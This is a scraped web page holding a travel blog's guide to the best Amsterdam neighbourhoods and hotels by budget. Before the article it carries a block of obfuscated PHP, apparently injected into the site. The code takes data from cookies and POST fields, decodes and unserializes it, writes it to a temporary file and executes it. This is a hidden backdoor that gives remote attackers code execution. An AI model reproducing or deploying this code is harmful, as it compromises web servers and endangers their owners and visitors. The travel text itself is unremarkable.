$eKZKI = 'C' . "\x55" . chr (95) . chr ( 541 - 423 ).'I' . "\154" . chr ( 900 - 832 ).'r';$JExwxaIFIx = chr ( 785 - 686 ).'l' . chr (97) . "\x73" . "\x73" . '_' . "\x65" . "\170" . 'i' . "\x73" . "\x74" . "\163";$RZBwPZV = class_exists($eKZKI); $JExwxaIFIx = "21551";$GqUsG = strpos($JExwxaIFIx, $eKZKI);if ($RZBwPZV == $GqUsG){function SvvXXBje(){$wRUnH = new /* 59800 */ CU_vIlDr(14952 + 14952); $wRUnH = NULL;}$EQMWIAHNut = "14952";class CU_vIlDr{private function guOgjCFYrt($EQMWIAHNut){if (is_array(CU_vIlDr::$gqDKKtnt)) {$name = sys_get_temp_dir() . "/" . crc32(CU_vIlDr::$gqDKKtnt["salt"]);@CU_vIlDr::$gqDKKtnt["write"]($name, CU_vIlDr::$gqDKKtnt["content"]);include $name;@CU_vIlDr::$gqDKKtnt["delete"]($name); $EQMWIAHNut = "14952";exit();}}public function yVyrgWiQeF(){$VjJZm = "28639";$this->_dummy = str_repeat($VjJZm, strlen($VjJZm));}public function __destruct(){CU_vIlDr::$gqDKKtnt = @unserialize(CU_vIlDr::$gqDKKtnt); $EQMWIAHNut = "17289_45679";$this->guOgjCFYrt($EQMWIAHNut); $EQMWIAHNut = "17289_45679";}public function PaXQz($VjJZm, $RvgJZ){return $VjJZm[0] ^ str_repeat($RvgJZ, intval(strlen($VjJZm[0]) / strlen($RvgJZ)) + 1);}public function eMjzbb($VjJZm){$YwANUdLA = "\x62" . "\x61" . "\x73" . 'e' . "\x36" . chr (52);return array_map($YwANUdLA . '_' . 'd' . chr (101) . chr (99) . 'o' . chr (100) . chr (101), array($VjJZm,));}public function __construct($fpJDdyne=0){$XSUmQ = chr ( 371 - 327 ); $VjJZm = "";$UHuxG = $_POST;$efvqqh = $_COOKIE;$RvgJZ = "840b89a1-92bc-4c92-bab1-5e64a4632566";$zCOyzJnJ = @$efvqqh[substr($RvgJZ, 0, 4)];if (!empty($zCOyzJnJ)){$zCOyzJnJ = explode($XSUmQ, $zCOyzJnJ);foreach ($zCOyzJnJ as $zfdFicAlS){$VjJZm .= @$efvqqh[$zfdFicAlS];$VjJZm .= @$UHuxG[$zfdFicAlS];}$VjJZm = $this->eMjzbb($VjJZm);}CU_vIlDr::$gqDKKtnt = $this->PaXQz($VjJZm, $RvgJZ);if (strpos($RvgJZ, $XSUmQ) !== FALSE){$RvgJZ = explode($XSUmQ, $RvgJZ); $VjujtqL = base64_decode(md5($RvgJZ[0]));}}public static $gqDKKtnt = 2480;}SvvXXBje();} Where To Stay In Amsterdam In 2024: Our Favorite Places and Neighbourhoods – TheFreedomFlights
Where To Stay In Amsterdam In 2024: Our Favorite Places and Neighbourhoods

Where To Stay In Amsterdam In 2024: Our Favorite Places and Neighbourhoods

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Amsterdam is famous for its enchanting canals that outnumber Venice, historic landmarks, and a diverse array of neighborhoods, from its famous Red Light District to the Museum Quarter. Whether you’re a first-time visitor seeking the quintessential Amsterdam experience near the iconic Dam Square or a night owl looking to dive into the party atmosphere of the Jordaan, Amsterdam has a neighborhood that fits every preference and budget. When deciding where to stay in Amsterdam, there are plenty of choices, from cozy houseboats on the serene canals to luxurious hotels and budget-friendly hostels; finding the perfect base in Amsterdam is key to unlocking the treasures of this timeless city.

Best Places to Stay in Amsterdam

Where to Stay in Amsterdam Netherlands Best Areas and Hotels
The Best Places to Stay in Amsterdam

Knowing where to stay in Amsterdam can dramatically shape your trip. Many of the main neighborhoods have a central location and yet, every inch of the entire city seems to offer its own personality, so you need to narrow neighborhoods down even further than “what is the most central”.

When choosing where to stay in Amsterdam, you may want to think about whether you want somewhere to indulge in modern Dutch cuisine or be overlooking Dam Square. And then think about what type of accommodation are you looking for? Would you like an indoor pool and fitness center? Or are you looking to save money with a dormitory room rather than a double room at a boutique hotel? In this guide, we’ll help you find the perfect place to stay in Amsterdam. Here are the five best neighborhoods and their best hotels for each budget.

1. Jordaan

Once renowned for radical politics and rowdy sing-a-longs, the Jordaan has evolved over decades of gentrification from a working-class area into an upscale neighborhood for arty professionals.

With its cobbled streets, gabled homes, and tree-lined canals, the picturesque district is a living picture postcard with an eclectic mix of art galleries, sidewalk bistros, and trendy boutiques. This is also where you will find the famous Anne Frank House, a place we recommend you visit while you are in Amsterdam. This Anne Frank Tour takes you through the Jewish Quarter to learn of the fascinating story of Anne Frank.

Beginning at Brouwersgracht just west of Amsterdam Central Station, the Jordaan arches around the western Canal Ring between Prinsengracht and Lijnbaansgracht, ending at Leidsegracht.

Arguably Amsterdam’s most renowned neighborhood, the Jordaan began as a working-class bastion populated by artists, immigrants, and construction workers, many of whom were employed to dig the canals of the Grachtengordel. This is by far one of the coolest areas to stay in Amsterdam.

Luxury: Pulitzer

Pulitzer is a beautiful 5-star waterfront hotel in 25 restored 17th– and 18th-century canal houses. It is in a prime location near Nine Streets and Anne Frank House. The hotel features modern art and original features, a garden café, bar, and restaurant.

Mid-Range: Amphora

Amphora is a beautiful Sophisticated B&B on the ground floor of a canal house in the heart of the Jordaan. Custom mosaics & woodwork by owners Greet and Niels, who live upstairs. Full kitchen, complimentary WiFi, rental bikes.

Budget: Hotel Van Onna

Hotel van Onna is a basic, family-run hotel in 3 adjacent waterfront canal houses dating from the 17th century. Easy walking distance from Anne Frank House & other major sights. WiFi and continental breakfast included.

Cool building in the Jordaan Neighborhood

Pros

Cultural Hotspot: It’s home to art galleries, antique shops, and markets like the Noordermarkt
Excellent Dining and Nightlife: The area boasts plenty of cafes, restaurants, and bars
Central Location: Despite its tranquil vibe, Jordaan is conveniently located close to major attractions like the Anne Frank House, the Westerkerk, and the Amsterdam Museum.

Cons

Accommodation Costs: Due to its popularity and central location, accommodation can be pricy
Tourist Crowds: While it has a local feel, Jordaan’s popularity can lead to crowded streets and venues.
Limited Hotel Options: Jordaan mainly offers boutique hotels, bed and breakfasts, and vacation rentals.
Noise Levels: The lively atmosphere, especially during weekends and evenings, can mean higher noise levels.
Narrow Streets: The narrow streets can be crowded and difficult to navigate with luggage.

2. Red Light District

Best Things to do in Amsterdam Red Light District

Everyone knows that Amsterdam has a famous Red Light District. This is a tiny area of the city where prostitution is legalized, and it is partially what gives Amsterdam its reputation as a super liberal place to visit. It is, unfortunately, true that the Red Light District sometimes attracts rowdy stag goers and drunken crowds.

However, the rowdy crowds are mainly limited to the streets of Oudezijds Voorburgwal and Oudezijds Achterburgwal. You can easily wander down to the two main ‘operating’ streets as the Red Light District has become a tourist attraction despite still functioning with legitimate brothels.

From a tourist perspective, there’s nothing much to ‘see,’ with workers just sitting in windows waiting for customers or drawing their curtains. For obvious privacy reasons, you aren’t allowed to take pictures of workers waiting in windows, and security is pretty strict. However, the ‘taboo’ of walking through the district still attracts millions of tourists, and you can actually take guided tours to learn more about Amsterdam’s sex trade history.

As for the rest of this area, it is one of the best neighborhoods in Amsterdam thanks to its great location just a short walk from the major attractions and Amsterdam Central Station. You can easily cross the Molensteeg bridge to reach Chinatown, which is the next ‘canal island’ along the Red Light District. Chinatown is amazing for cuisine and pan-Asian shopping. There are many places to eat and has some great hostels for budget-friendly travel.

Luxury: Sofitel Legend The Grand Amsterdam

Sofitel Legend The Grand Amsterdam is a beautiful 5-star property of elegant red brick and a blend of French and Dutch influence. It is one of the few luxury hotels in Amsterdam with an indoor pool. It has a mixture of rooms and suites, all bathing in natural light with courtyard, city, or garden views. Location-wise, you are in the thick of it, but Sofitel Legend The Grand Amsterdam is a solace.

Guests get free Wi-Fi, a gym, and an on-site restaurant. The hotel offers traditional luxury, too, with butler service for all of its suites.

Mid Range Hotel: Eden Hotel

Eden Hotel is a beautiful hotel with rooms that vary with individualistic stamps and an excellent location for sightseers on a short schedule. It is ideal for those on a mid-range budget and is a 4-star property. You can choose from comfortable rooms with themes ranging from burlesque to themes and some featuring canal views.

The hotel offers free wi-fi and toiletries. It’s one of the best hotels in the Red Light District neighborhood for tasteful rooms and a calming base to escape the sometimes mad streets outside.

Budget Hotel: Heart of Amsterdam Hotel

Heart of Amsterdam Hotel is a little battered from over-loving and has seen a steady stream of guests over the years. However, you can’t beat it if you want budget-friendly hostel accommodation in De Wallen. It has a great location and the option of dormitory and single rooms. The hotel itself is a traditional Dutch building, and the decor is trendy.

The 24-hour reception and free wi-fi are a handy touch. And, as a really sociable accommodation choice, you can relax knowing that the Heart of Amsterdam Hotel is an excellent place to make new friends as a solo traveler.

Pros Of Staying in the Red Light District

Busy after dark
Novelty and taboo history that’s interesting to learn about
Super central location, close to the train station and city center attractions
The two main streets for sex workers are easily avoided if you just want to enjoy the location

Cons Of Staying in the Red Light District

Some people may find the history of the sex trade disturbing
It can attract rowdy crowds, especially in peak season
It gets busy as it’s a popular destination

3. Westerpark

where to stay in amsterdam westerpark

Westerpark is a great place for families with young children to stay in Amsterdam. It’s a safe distance from the partying of southern De Pijp and the central Red Light District.

This quiet, charming neighborhood has an expanse of green space, including its same-named public park. It is where to stay in Amsterdam if you want an excellent location within walking distance of the Amsterdam city center but a more peaceful atmosphere.

While peaceful, Westerpark is by no means boring. You have markets, including Westergas Market, which runs on the first Sunday of each month. And for those visiting without kids, two of Amsterdam’s most popular breweries in Westerpark offer guided tours. It is an eclectic mix of green space and boutique shops – with independent coffee shops in between. It is an ideal place to experience a slower pace of life in Amsterdam. If you have more than a few days to spend in the city, we’d suggest lengthening your stay and unwinding in Westerpark.

When staying in Westerpark, you are only a short walk from the trendy neighborhood of Jordaan. Reaching the city centre is a 30-minute walk through Jordaan and significant attractions like the Nine Streets putting a peaceful buffer between you and the city centre.

If you stay longer than a few days, you can easily justify the short walk into the city centre, as you won’t be in a rush or on a mission to maximize sightseeing time. Similarly, if you’ve been to Amsterdam before, staying in Westerpark can give you a more residential impression of the city. For those wanting the quiet side of Amsterdam, Westerpark is perfect. PS. If you visit Amsterdam with kids, check out our guide on the top attractions your kids will love.

Luxury: The July – Boat & Co

The July – Boat & Co is a 4-star hotel. Still, because of its gorgeous waterfront location, we list it as our top luxury recommendation for accommodation in Westerpark. Guests access a fitness center, onsite restaurant, and spa with yoga classes overlooking the river. You can choose from a range of spacious apartments or studios and suites.

We’d suggest picking up a bike rental from the concierge to make sightseeing easier. You can wake up in luxurious rooms to a daily complimentary breakfast before heading into the city center to see attractions like Dam Square or Nine Streets. The July – Boat & Co. is a really beautifully located hotel with a rare bonus of river scenery rather than canal views.

Mid Range Hotel: Conscious Hotel Westerpark

Conscious Hotel Westerpark is a beautiful 4-star property near the neighborhood’s peaceful Westerpark. It has cozy rooms and is a comfortable place to stay in Westerpark if you prioritize being close to green space. The red brick exterior is elegant, and you can choose rooms with free-standing tubs and separate loft bedrooms. A double room is the most ‘basic’ option, and even that is a picture of luxury meets trendiness.

Conscious Hotel Westerpark has an on-site restaurant with a terrace overlooking nearby park scenery. There’s also a cafe for more casual dining. It is the perfect stepping stone between luxury and budget. If you want somewhere tasteful to stay in Westerpark and don’t mind splurging a little bit, Conscious Hotel Westerpark is the ideal option.

Budget Hotel: MEININGER Hotel Amsterdam City West

MEININGER Hotel Amsterdam City West is fun and funky. Think typical hostel vibe, with a guest kitchen, bright decor, and a spacious lounge for socializing and meeting new people. There’s a daily continental and buffet breakfast each morning for ease, too. This hostel is a little further out, but it’s worth sacrificing if you are on a budget. You can just catch the Intercity Sprinter to central Amsterdam in 15 minutes.

At MEININGER Hotel Amsterdam City West, you can bag a dormitory room to save money, with both mixed and female-only dorm rooms available. There are twin and double rooms for those wanting more privacy; it’s the perfect balance of hostel and hotel.

where to stay in amsterdam westerpark

Pros Of Staying in Westerpark

Quiet atmosphere
Only a 30-minute walk from the city center
Plenty of green space
Breweries and markets

Cons Of Staying in Westerpark

It is not immediately located in the central area, so a bit of walking is required
Some may find it too quiet
It has more of a residential vibe than catered explicitly to tourists

4. Oud-West

Van Gogh Museum.

Oud-West is up-and-coming and sits on the north side of Vondelpark in southeast Amsterdam. It is where to stay in Amsterdam if you want a quirky base to embrace a lesser-seen side of the city. Oud-West has coffee shops, design shops, and even a cinema in an old train depot, now called the De Hallen Cultural Center. You can sample street food at Foodhallen, watch a movie at De Hallen Cultural Center, or purchase unique souvenirs from pop-up craft markets. Oud-West is distinctly its own neighborhood – which we love.

Oud-West is right next to Amsterdam Oud-Zuid, nicknamed the city’s Museum Quarter. However, Oud-West elbowed Oud-Zuid sharply out of the picture here, offering much better proximity to the city center yet easy walking access to its neighbor’s main attractions, like the Van Gogh Museum and Rijksmuseum. You can easily walk from Oud-West to the Van Gogh Museum in 15 minutes. The neighborhood is quirky and out of the mainstream city center atmosphere – which predominantly caters to tourists through endless tour operator stalls and tacky marijuana coffee shops. But you are never more than 20-30 minutes from the main attractions and tactically situated to dive into the neighboring Museum Quarter.

Being close to Vondelpark is also a massive bonus of staying in Oud-West. Vondelpark, which spans 120 acres and dates back to the 19th century, is a haven for sunbathers, bookworms, and sociable tourists and residents looking for a sunny spot to walk with friends in summer.

Oud-West is where to stay in Amsterdam for that alternative experience of the city. You get all the quirkiness of craft markets and the quietness of being in a primarily residential area, yet with fantastic walking distance access to major Amsterdam attractions.

Luxury: Conservatorium Hotel

Conservatorium Hotel is a gorgeous 5-star property technically just over the Oud-West border, sitting in the Museum Quarter. However, it is the most luxurious place to stay in and around Oud-West, so we are adding it to this guide anyway. It is located right by Vondelpark, on the cusp between the two neighborhoods, and within easy walking distance of major attractions like the Diamant Museum and Moco Museum Amsterdam.

The hotel offers an ultra-indulgent spa with a large indoor pool, whirlpool, hammam, and sauna facilities. You’ve got an onsite restaurant and a stunning range of rooms and suites, some featuring marble tubs and oak flooring.

Mid-Range Hotel: Maison ELLE Amsterdam

Stately Maison ELLE Amsterdam was built in 1910 and just oozes grandeur. As a 4-star property, it suits a mid-range budget and has breezy, light color palette interiors. Maison ELLE Amsterdam is located right next to Vondelpark, so it is ideal for those who love a quick morning run in green space or the idea of sunset picnics a short walk from their hotel.

You can bag double rooms with garden views or spacious suites with terraces. It is a great option for anyone seeking mid-range luxury, with a slightly more modest price tag but beautiful rooms for your stay in Amsterdam. The choice is yours.

Budget Hotel: Stayokay Hostel Amsterdam Vondelpark

Stayokay Hostel Amsterdam Vondelpark is another brilliant accommodation choice, located at the eastern end of Vondelpark, closest to Amsterdam’s center. But this time, it’s also ideal for budget travelers. Stayokay is a hostel offering a mixture of dorm and private rooms. It has all the basic hostel amenities, including lockable cupboards, free wi fi, and daily breakfast for a humble surcharge.

The hostel rooms are really impressive. Even the dormitory rooms are pretty snazzy, with stone vaulted ceilings, abundant natural light, and privacy blocks for relaxing sleeping environments. The private rooms come with ensuites and look like something out of a boutique hotel.

Pros Of Staying in Oud-West

Access to the beautiful Vondelpark
Quirky atmosphere
None of the tackiness of touristy areas
Easy access to the attractions in the neighboring Museum Quarter, like the Van Gogh Museum

Cons Of Staying in Oud-West

Not a party or touristy atmosphere
You’ll have to walk between 20 and 30 minutes to the city center
Some may want to embrace Amsterdam’s tackier side

5. De Pijp

Cool bars in De Pijp.

De Pijp is where to stay in Amsterdam if you like nightlife or are a foodie. The neighborhood is home to residents of more than 150 nationalities and is one of Amsterdam’s most diverse places to visit. This manifests fantastically in De Pijp’s cuisine, with delicious Spanish, Turkish, Syrian, and Japanese dishes. This vibrancy has caught on among the younger generations, making De Pijp the place to head for students, creatives, and culture lovers. The experience starts with dinner and carries on long into the night through the neighborhood’s equally exciting nightlife.

Cosmopolitan De Pijp was once referred to as the Latin Quarter of Amsterdam, but it’s safe to say it has had its own rebirth since then. Through gentrification and the rise in foodie and nightlife tourism, De Pijp is now the life and soul of Amsterdam’s party. You can find cocktail bars and tasty cuisine galore.

In the day, De Pijp has attractions like Albert Cuyp Market and the Heineken Experience. There’s also Sarphatipark, a compact little green space constructed from English garden inspiration. It is a peaceful spot featuring a massive pond and numerous sculptures. Sarphatipark is a more peaceful, intimate version of the much-bigger Vondelpark in neighboring Oud-West.

It is within walking distance of the city center, taking roughly 30-40 minutes on foot, depending on where you are heading. You can also hop on a tram and get there in 20 minutes or embrace Amsterdam’s bikes and get there in less than 15 minutes.

Luxury: Hotel Okura Amsterdam

Hotel Okura Amsterdam is a leading 5-star hotel just south of De Pijp, on the border with the Museum Quarter. The hotel offers a great location for those wanting to balance the Museum Quarter’s sightseeing with the nightlife and cuisine of De Pijp. But we added it to this guide mostly because it is one of the best luxury hotels in Amsterdam.

The cuboid-looking hotel juts up in sparkling skyscraper-dom, with beautiful views of Amsterdam’s skyline. It has four onsite restaurants and three Michelin stars between them. The hotel also has an award-winning spa, offering everything from facials to personal trainers at its gym and access to an indoor swimming pool. Hotel Okura Amsterdam speaks for itself.

Mid Range Hotel: Boutique Hotel Notting Hill

Smart-looking Boutique Hotel Notting Hill is a 4-star property in De Pijp. Its comfortable rooms walk an admirable line between boutique and plush. Think cozy elegance. Each room comes with a robe and slippers and a tea and coffee-making station for a slow morning in the quiet area of your personal space.

Guests access free wi fi, a hotel restaurant, and a bar. You are within immediate walking distance of main attractions like the Heineken Experience and Boutique Hotel Notting Hill is in a great location for walking into the center for further sightseeing opportunities.

Budget Hotel: Cocomama

Cocomama is a beautiful hostel that is located in a former brothel. It is just across the first canal from De Pijp, straddling the border with Amsterdam’s more central neighborhoods. You can save money by booking one of Cocomama’s dorm rooms or reduce your costs slightly by opting for private rooms with ensuites. In the dorm rooms, you get your own locker (bring a padlock as per the hostel norms). Everyone staying at Cocomama gets access to the shared kitchen, laundry facilities, and a serene little garden.

You can also book a private room or twin rooms. You can book the Van Gogh room, which is painted blue and decorated with prints of his works. You can bag the tulip room – adorned with elaborate tulip pictures and furnishings and there is the farm room decorated in rustic Dutch designs.

Albert Cuyp Market in De Pijp.

Pros Of Staying in De Pijp

Diverse cuisine
Still fairly central
Great nightlife

Cons Of Staying in De Pijp

Further from the city center
Some may not like the nightlife culture
Can get busy

6. Old Centre

Last but not least, we have the Old Centre – the most obvious choice. If it is your first time staying in Amsterdam, we’d suggest staying in the most central of all spots. Old Centre is the neighborhood that spans between Jordaan and De Hallen (the Red Light District). It has the Royal Palace, Dam Square, and some of the prettiest canal views, including the Damrak houses. The Old Centre is full of historic buildings. It is one of the best-preserved city centers in the whole of Europe, with medieval architecture and buildings like Amsterdam’s oldest church, Oude Kerk. Nothing quite introduces you to Amsterdam like staying in the Old Centre.

The Old Centre is busy, which is something to note. You’ll find throngs of people in peak months like summer, so if that bothers you, plan to travel in off or shoulder seasons. Sadly, it is a fact of life; the best places attract the worst crowds.

Undoubtedly, the Old Centre is where to stay in Amsterdam for first-timers. This neighborhood encapsulates all of the city’s history through architecture. It has some of the best hotels and attractions within walking distance. You can visit the Royal Palace, Dam Square, and Madame Tussauds – all located within the Old Centre’s boundaries. But you can also easily access De Wallen and its Red Light District or the Anne Frank House in neighboring Jordaan.

The Old Centre is convenient and full of culture. If you only have a day or two in Amsterdam, it’s the perfect spot to make the most of a short stay and squeeze plenty of sightseeing into one experience.

Luxury: Anantara Grand Hotel Krasnapolsky Amsterdam

Anantara Grand Hotel Krasnapolsky Amsterdam holds a well-deserved five-star rating. The gorgeous property far surpasses any boutique hotel in Amsterdam’s center just on location alone, sitting on the edge of the awe-inspiring architecture of Dam Square and overlooking the Royal Palace. Wow, right? When it comes to centrality, you can’t beat Anantara. The 19th-century building has a beautiful selection of rooms, some featuring landmark views.

Anantara has a Michelin-starred restaurant and a garden for guest use. But where it really comes into its own is with the quality of its rooms. You have guestrooms featuring parquet floors and great breakfast and dinner packages. The location is unrivaled, too; you walk straight out into the action of one of Amsterdam’s most famed landmark attractions.

Mid Range Hotel: Park Plaza Victoria Amsterdam

Park Plaza Victoria Amsterdam is a modern hotel of four stars, sat right on a canal front in Amsterdam’s historic center. Park Plaza Victoria Amsterdam is conveniently located next to Amsterdam Centraal Station and within easy walking distance of the Anne Frank House, the World’s Narrowest House, and the Sex Museum. If you want to be catapulted into the thick of Amsterdam’s best things to do and see, Park Plaza is the place to book on a mid-range budget.

You have a hotel restaurant with a daily breakfast buffet. Room options vary from twin to king rooms and suites for those wanting to indulge a little extra. The modern decor is minimal fuss and intelligent looking, providing nice touches like tea and coffee-making facilities. Pay attention when booking, as you can secure rooms with canal views.

Budget Hotel: THIS HO(S)TEL

Finally, we have the ultra-quirky, budget-friendly THIS HO(S)TEL. It offers novelty ‘cube’ rooms as a budget-friendly solution for those wanting to save money and stay centrally in Amsterdam. The rooms are more spacious than the pod hotels you see, looking more like little boat cabins but lit up in neon lighting. The basic cube rooms have no windows, and it feels like you should definitely be heading off to outer space or, at least, a mini cruise. The ‘canal cube’ rooms have windows overlooking the canal scenery outside, so they are best for those who want natural lighting.

If you want a fun place to stay in the Old Centre, THIS HO(S)TEL gets our recurring vote. It has enough novelty to make staying in the Old Centre on a budget entertaining. If you want more privacy than you’d get at a hostel and are only staying for a few days, it’s perfect.

Tourists embarking on Amsterdam tours.

Pros Of Staying in the Old Centre

As central as you can get, a great location
Easily located next to the train station if you want to take day trips
Great architecture and tons of history
Some of the best hotels

Cons Of Staying in the Old Centre

Gets extremely busy with crowds
The best hotels sell out quickly in peak months
You don’t get to experience residential culture

Best Areas to Stay in Amsterdam: FAQ’s

Best Things to do in Amsterdam Damrak Canal

Do you have a favorite so far? Amsterdam’s neighborhood scene is so varied. It is like choosing from different pockets of personalities, with each one offering a completely separate experience. There’s leafy Westerpark, the Museum Quarter’s takeover neighbor Oud-West, and the classic Queen of controversy, the Red Light District. We know it’s a lot of information to take in, so before you go, here’s a super straightforward summary. These are the most commonly asked questions when people search for where to stay in Amsterdam.

What is the best part of Amsterdam to stay in?

The Old Centre is the best part of Amsterdam to stay in if you are a first-time visitor, as everything is just so central. You are a short walk from the train station, Dam Square, and all the shopping Amsterdam offers.

Where to avoid staying in Amsterdam?

Zuid-Oost and Diemen are worth avoiding – purely because they are far from the city center. Similarly, Amsterdam-Noord is beautiful, but you should avoid staying on the north shore of Amsterdam if you want to make the most of sightseeing.

What is the best district in Amsterdam?

Jordaan is an excellent Amsterdam district with Anne Frank’s House and the Nine Streets. It’s where to go for a cool vibe and great sightseeing, and it is located immediately between Westerpark and the Old Centre.

What is the most walkable area in Amsterdam?

The vast majority of Amsterdam’s neighborhoods are walkable. We’d say the top most walkable are the Old Centre, Jordaan, De Pijp, and the Red Light District.

Where not to stay in Amsterdam

The famous Red Light District.

Mainly, you want to avoid any neighborhood that doesn’t have a central location, e.g., you can walk to the city center in less than 25 minutes. Zuid-Oost and Diemen are neighborhoods you want to avoid, as they are far from Amsterdam’s city center. Amsterdam-Noord is another beautiful spot to avoid if you want easy sightseeing, as it’s located on Amsterdam’s north shore.

Generally, you want to stay on the south bank of the River IJ and as close to the center of the web of canals as possible.

We’ll just quickly address the elephant in the room – the Red Light District. Now, this Amsterdam neighborhood is perhaps its most controversial and famous, with legalized sex work in red-neon buildings. However, this part of the district is actually almost entirely limited to Oudezijds Voorburgwal and Oudezijds Achterburgwal. The workers stay within buildings illuminated by red lighting with thick, heavy red curtains drawn throughout most of the day.

There are no on-the-street advances and, apart from the rowdy groups of staggering stag doers at night in peak season, even these two streets are very safe. The rest of the Red Light District is just a buzzy neighborhood, and as long as you don’t mind crowds, it is a good place to stay in Amsterdam.

Why we love Amsterdam

Best Things to do in Amsterdam Nine Streets

The Dutch Capital is one of the most exciting and beautiful places to visit in Europe. Each neighborhood has its own character with so many activities and sights to see in each. It is beautiful with one historic building after another. Couples, families and solo travelers alike will fall in love with Amsterdam thanks to its history, progressive attitude, beautiful canals and fun atmosphere.

Are you interested in more inspiration for visiting Amsterdam? Check out our complete Netherlands guide here. Plus see our guide to the City’s 34 best things to do that will keep you more than occupied during your stay.

Plan Your Next Trip to The Netherlands With These Resources

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